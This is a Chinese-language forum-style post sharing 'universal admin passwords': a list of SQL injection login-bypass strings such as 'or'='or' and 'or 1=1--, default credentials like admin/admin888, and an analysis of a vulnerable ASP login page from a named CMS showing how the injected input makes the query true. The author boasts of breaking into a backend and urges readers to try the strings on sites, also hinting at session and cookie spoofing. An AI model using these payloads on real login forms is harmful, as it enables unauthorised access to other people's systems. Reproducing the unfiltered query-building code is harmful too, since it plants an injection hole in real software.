【经验分享】后台常⽤的万能密码
这万能密码好⼏年前就有了。我都不当回事,结果这次真派上⽤场了,还真进了后台了
⽹站后台万能密码就是在⽤户名与密码处都写⼊下列字符,如果知道管理员帐号的话直接添帐号,效果会更好!
例如我们要利⽤第⼀条就是:
⽤户名:"or "a"="a
密码:"or "a"="a
*********************************************************
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
原理都是利⽤SQL语法来利⽤注⼊,其实这也是注⼊的⼀种,都是因为提交字符未加过滤或过滤不严⽽导致的.
其实万能是没有的,默认是很多的,
admin
admin
admin
admin888
少数ASP⽹页后⾯登陆时可以⽤密码1'or'1'='1(⽤户名⽤admin等试)登陆成功。这⼀般也是SQL注⼊的第⼀课,原理涉及到SQL语句……验证登陆时,如果密码=输⼊的密码,那么登陆成功,把1' or '1'='1带⼊即“如果密码=1或者1=1那么登成功”由于1=1恒成⽴,且“密码=1”与“1=1”是逻辑或的关系,则整句为TRUE,即登陆成功。这样说懂不?
其实后台万能登陆密码这个称号真的不那么专业,或许叫做“后台验证绕过语句”还好些,不过前者叫得普遍些。
这个语句就是'xor
xor估计很多⼈都知道,或者听说过,不就是异或么,他和or以及and都是⼀样的,但是or进⾏的是或运算,and进⾏的是与运算,异或xor则是不等的则是真,即⽐较的两个值不相同的就对,相同的就错,我搜了⼀下⽹上,⼏乎没有过滤参数,可以⽤经典'or'='or'进去的,'xor都可以进去,⼤家可以尝试⼀下。
对⽹站万能密码'or'='or'的浅解
'or'='or'漏洞是⼀个⽐较⽼的漏洞了,主要是出现在后台登录上,利⽤这个漏洞,我们可以不⽤输⼊密码就直接进⼊系统的后台.它出现的原因是在编程时逻辑上考虑不周,同时对单引号没有进⾏过滤,从⽽导
致了漏洞的出现.先给⼤家简单介绍下漏洞的原理吧,只要⼤家搞懂了原理,就可以⾃⼰去这样漏洞的系统了.
1:语句:''or'='or' a'or'1=1-- 'or1=1-- "or1=1-- or1=1-- 'or"="a'='a ') or ('a'='a等等,
2:分析利⽤:我从站长⽹站下载了"织梦⼯作室企业全站程序(原良精)修正美化版"源代码,从中到后台登录的页⾯"login.asp"其中有以下⼀段代码:
<%
(1)pwd = request.form("pwd") "获取客户端输⼊的密码,再把值赋给pwd"
(2)name = request.form("name") "获取客户端输⼊的⽤户名再把值赋给name"
都没有进⾏任何过滤
(3)Set rs = Server.CreateObject("ADODB.Connection") "利⽤Server对象的CreateObject⽅法创建ADO组件的Connection对象"
(4)sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'" "将⽤户名和密码放⼊查询语句中查询数据库"
(5)Set rs = conn.Execute(sql) "执⾏SQL语句"
(6)If Not rs.EOF = True Then "当前的记录位于Connection对象的最后⼀个记录之前"
(7)Session("Name") = rs("UserName") "将UserName的属性赋给Name的Session⾃定义变量"
(8)Session("pwd") = rs("PassWord") "将PassWord的属性赋给pwd的Session⾃定义变量"
(9)Response.Redirect("Manage.asp")了 "利⽤Response对象的Redirect⽅法重定向"Manage.asp"
(10)Else
(11)Response.Redirect "Loginsb.asp?msg=您输⼊了错误的帐号或⼝令,请再次输⼊!"
免费分享网站源码(12)End If
(13)end if
%>
从这段代码中,我们可以看到后台是采⽤"Session"验证的,⼤家知道,还有⼀种是采⽤"cookie"验证的,
不过原理相同,从分析中,我们可以看到后台登录没有对客户输⼊的⽤户名和密码进⾏任何过滤,就交给了SQL语句查询,如果查询的记录是位于最后⼀条记录之前,刚设置Session变量UserName,PassWord的值分别为Name,pwd,并重定向到"Manage.asp".
从以上分析中.出现了很⼤的安全漏洞,问题就出现在第⼀,第⼆句,它们的功能是获得客户端输⼊的⽤户名和密码却没有进⾏任何的过滤,也不会去检查我们输⼊的数据,这样,我们就可以对其实⾏攻击,要实⾏攻击这种漏洞的问题关键就是使SQL语句的查询结果为真,这⾥我们⼜要⽤到or和and的逻辑运算的知识,我这⾥不详细的说,就讲⼆点,
第⼀:优先原则----出现or同时⼜出现and时,则先运算and运算符。
第⼆:and运算符意思,是"且",就是对⼆个表达式进⾏逻辑"与"运算(我这⼉说的是"且"),⽽or运算符的意思,是"或",就是对⼆个表达式进⾏逻辑"或"运算。
下⾯是⼆个运算符的运算结果:
and逻辑运算的结果:真----真===真;假----真===假; 真----假===假; 假----假===假.
or逻辑运算的结果:真----真===真;假----真===真; 真----假===真; 假----假===假.
⼤家⾃⼰可以体会下
下⾯我们先来看代码中的SQL查询语句" sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"' " ,要使这条语句执⾏为真,我们就要构造⼀个特殊的⽤户名,就可绕过程序的验证,进⼊后台,我们只要在⽤户名处输⼊'or'='or',密码处随便输⼊字符(我们就输⼊000吧),这样上⾯的SQL语句就变成了sql = "select * from Manage_User where UserName=''or'='or''and PassWord='000'"那么where后的语句转换成逻辑语句后为假or真or假and假,通过简单的运算,则最终为真,⽽SQL语句的查询结果也变成真了,这样⼤家可能还不怎么听得懂,我换成另⼀条语句:1' or 1=1 or '1'='1,那么SQL语句就变成了sql = "select * from Manage_User where UserName='1' or 1=1 or '1'='1' and PassWord='000'"⼤家知道,在逻辑表达式中'1'是为假,1=1总为真吧,'1'='1'也为真,⽽密码我们是随便输⼊的所以为假,那么where后的语句转换成逻辑语句后为假or真or真and假,最终的运算结果也为真.这些⼤家⾃⼰慢慢的去实践,去体会,我相信⼤家都会搞懂的,⼤家还可以⾃⼰构造⼀些语句去验证下.
对于Session验证的,我们还可以进⾏Session欺骗(⼤家都知道cookie欺骗登录了吧,呵呵),假设我们知道这个系统的管理员的⽤户名为admin,那么我们只需在密码处输⼊的语句使它的运算结果为真就⾏了,这⼉留给⼤家⾃⼰构造.
coolie验证的登录原理和Session"验证的相同,只要⼤家构造的语句使的SQL的执⾏为真就⾏了,这是关键哟,⼤家可记住了!
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论